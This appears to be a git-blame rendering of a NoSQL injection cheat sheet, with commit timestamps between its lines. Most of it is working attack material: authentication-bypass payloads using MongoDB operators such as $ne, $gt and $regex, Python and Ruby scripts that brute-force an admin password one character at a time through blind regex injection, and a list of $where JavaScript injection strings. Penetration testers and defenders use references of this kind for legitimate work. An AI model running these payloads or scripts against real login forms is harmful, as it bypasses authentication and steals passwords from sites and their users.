2022-10-12 10:13:55 +00:00
# NoSQL Injection
2018-08-12 21:30:22 +00:00
2019-06-29 15:55:13 +00:00
> NoSQL databases provide looser consistency restrictions than traditional SQL databases. By requiring fewer relational constraints and consistency checks, NoSQL databases often offer performance and scaling benefits. Yet these databases are still potentially vulnerable to injection attacks, even if they aren't using the traditional SQL syntax.
## Summary
* [Tools ](#tools )
2019-10-09 14:53:34 +00:00
* [Exploit ](#exploits )
2024-11-07 15:20:58 +00:00
* [Authentication Bypass ](#authentication-bypass )
* [Extract length information ](#extract-length-information )
* [Extract data information ](#extract-data-information )
2019-06-29 15:55:13 +00:00
* [Blind NoSQL ](#blind-nosql )
2024-11-07 15:20:58 +00:00
* [POST with JSON body ](#post-with-json-body )
* [POST with urlencoded body ](#post-with-urlencoded-body )
* [GET ](#get )
2019-06-29 15:55:13 +00:00
* [MongoDB Payloads ](#mongodb-payloads )
* [References ](#references )
## Tools
2024-11-07 15:20:58 +00:00
* [codingo/NoSQLmap ](https://github.com/codingo/NoSQLMap ) - Automated NoSQL database enumeration and web application exploitation tool
* [digininja/nosqlilab ](https://github.com/digininja/nosqlilab ) - A lab for playing with NoSQL Injection
* [matrix/Burp-NoSQLiScanner ](https://github.com/matrix/Burp-NoSQLiScanner ) - This extension provides a way to discover NoSQL injection vulnerabilities.
2016-10-30 11:53:32 +00:00
2024-08-26 09:27:47 +00:00
2016-10-30 11:53:32 +00:00
## Exploit
2019-06-29 15:55:13 +00:00
### Authentication Bypass
2018-02-15 22:27:42 +00:00
Basic authentication bypass using not equal ($ne) or greater ($gt)
2018-08-12 21:30:22 +00:00
2024-08-26 09:27:47 +00:00
* in HTTP data
```ps1
username[$ne]=toto& password[$ne]=toto
login[$regex]=a.*& pass[$ne]=lol
login[$gt]=admin& login[$lt]=test& pass[$ne]=1
login[$nin][]=admin& login[$nin][]=test& pass[$ne]=toto
```
* in JSON data
```json
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}
```
2016-10-30 11:53:32 +00:00
2019-06-29 15:55:13 +00:00
### Extract length information
2018-08-12 21:30:22 +00:00
2024-08-26 09:27:47 +00:00
```ps1
2016-10-30 11:53:32 +00:00
username[$ne]=toto& password[$regex]=.{1}
username[$ne]=toto& password[$regex]=.{3}
```
2019-06-29 15:55:13 +00:00
### Extract data information
2018-08-12 21:30:22 +00:00
2024-08-26 09:27:47 +00:00
Extract data with "`$regex`" query operator.
2018-02-15 22:27:42 +00:00
2024-08-26 09:27:47 +00:00
* HTTP data
```ps1
username[$ne]=toto& password[$regex]=m.{2}
username[$ne]=toto& password[$regex]=md.{1}
username[$ne]=toto& password[$regex]=mdp
2019-03-06 23:03:25 +00:00
2024-08-26 09:27:47 +00:00
username[$ne]=toto& password[$regex]=m.*
username[$ne]=toto& password[$regex]=md.*
```
* JSON data
```json
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}
```
2019-03-06 23:03:25 +00:00
2024-08-26 09:27:47 +00:00
Extract data with "`$in`" query operator.
2022-05-17 04:23:37 +00:00
```json
2024-08-26 09:27:47 +00:00
{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}
2022-05-17 04:23:37 +00:00
```
2019-03-06 23:03:25 +00:00
2018-02-15 22:27:42 +00:00
## Blind NoSQL
2018-08-12 21:30:22 +00:00
2019-04-21 11:00:16 +00:00
### POST with JSON body
2024-08-26 09:27:47 +00:00
Python script:
2019-04-21 11:00:16 +00:00
2018-02-15 22:27:42 +00:00
```python
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()
username="admin"
password=""
2019-04-21 11:00:16 +00:00
u="http://example.org/login"
2019-04-24 20:59:24 +00:00
headers={'content-type': 'application/json'}
2018-02-15 22:27:42 +00:00
while True:
for c in string.printable:
if c not in ['*','+','.','?','|']:
payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
2019-10-29 19:11:56 +00:00
r = requests.post(u, data = payload, headers = headers, verify = False, allow_redirects = False)
if 'OK' in r.text or r.status_code == 302:
2018-02-15 22:27:42 +00:00
print("Found one more char : %s" % (password+c))
password += c
2016-10-30 11:53:32 +00:00
```
2021-11-07 16:49:50 +00:00
### POST with urlencoded body
2024-08-26 09:27:47 +00:00
Python script:
2022-09-22 22:36:41 +00:00
2021-11-07 16:49:50 +00:00
```python
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()
username="admin"
password=""
u="http://example.org/login"
headers={'content-type': 'application/x-www-form-urlencoded'}
while True:
for c in string.printable:
if c not in ['*','+','.','?','|','& ','$']:
payload='user=%s& pass[$regex]=^%s& remember=on' % (username, password + c)
r = requests.post(u, data = payload, headers = headers, verify = False, allow_redirects = False)
if r.status_code == 302 and r.headers['Location'] == '/dashboard':
print("Found one more char : %s" % (password+c))
password += c
```
2019-04-21 11:00:16 +00:00
### GET
2022-09-22 22:36:41 +00:00
python script:
2019-04-21 11:00:16 +00:00
```python
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()
username='admin'
password=''
u='http://example.org/login'
while True:
for c in string.printable:
if c not in ['*','+','.','?','|', '#', '& ', '$']:
2022-09-22 22:36:41 +00:00
payload=f"?username={username}& password[$regex]=^{password + c}"
2019-04-21 11:00:16 +00:00
r = requests.get(u + payload)
if 'Yeah' in r.text:
2022-09-22 22:36:41 +00:00
print(f"Found one more char : {password+c}")
password += c
```
2024-08-26 09:27:47 +00:00
Ruby script:
2022-09-22 22:36:41 +00:00
```ruby
require 'httpx'
username = 'admin'
password = ''
url = 'http://example.org/login'
# CHARSET = (?!..?~).to_a # all ASCII printable characters
CHARSET = [*'0'..'9',*'a'..'z','-'] # alphanumeric + '-'
GET_EXCLUDE = ['*','+','.','?','|', '#', '& ', '$']
session = HTTPX.plugin(:persistent)
while true
CHARSET.each do |c|
unless GET_EXCLUDE.include?(c)
payload = "?username=#{username}& password[$regex]=^#{password + c}"
res = session.get(url + payload)
if res.body.to_s.match?('Yeah')
puts "Found one more char : #{password + c}"
2019-04-21 11:00:16 +00:00
password += c
2022-09-22 22:36:41 +00:00
end
end
end
end
2019-04-21 11:00:16 +00:00
```
2024-08-26 09:27:47 +00:00
2017-05-17 18:40:45 +00:00
## MongoDB Payloads
2018-08-12 21:30:22 +00:00
```bash
2017-05-17 18:40:45 +00:00
true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1'
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
' & & this.password.match(/.*/)//+%00
' & & this.passwordzz.match(/.*/)//+%00
'%20%26%26%20this.password.match(/.*/)//+%00
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
{$gt: ''}
[$ne]=1
2022-05-17 04:23:37 +00:00
';return 'a'=='a' & & ''=='
";return(true);var xyz='a
0;return true
2017-05-17 18:40:45 +00:00
```
2024-08-26 09:27:47 +00:00
2018-12-24 14:02:50 +00:00
## References
2018-08-12 21:30:22 +00:00
2024-11-07 15:20:58 +00:00
- [Burp-NoSQLiScanner - matrix - January 30, 2021 ](https://github.com/matrix/Burp-NoSQLiScanner/blob/main/src/burp/BurpExtender.java )
- [Les NOSQL injections Classique et Blind: Never trust user input - Geluchat - February 22, 2015 ](https://www.dailysecurity.fr/nosql-injections-classique-blind/ )
- [MongoDB NoSQL Injection with Aggregation Pipelines - Soroush Dalili (@irsdl) - June 23, 2024 ](https://soroush.me/blog/2024/06/mongodb-nosql-injection-with-aggregation-pipelines/ )
- [NoSQL Injection in MongoDB - Zanon - July 17, 2016 ](https://zanon.io/posts/nosql-injection-in-mongodb )
- [NoSQL injection wordlists - cr0hn - May 5, 2021 ](https://github.com/cr0hn/nosqlinjection_wordlists )
- [Testing for NoSQL injection - OWASP - May 2, 2023 ](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05.6-Testing_for_NoSQL_Injection )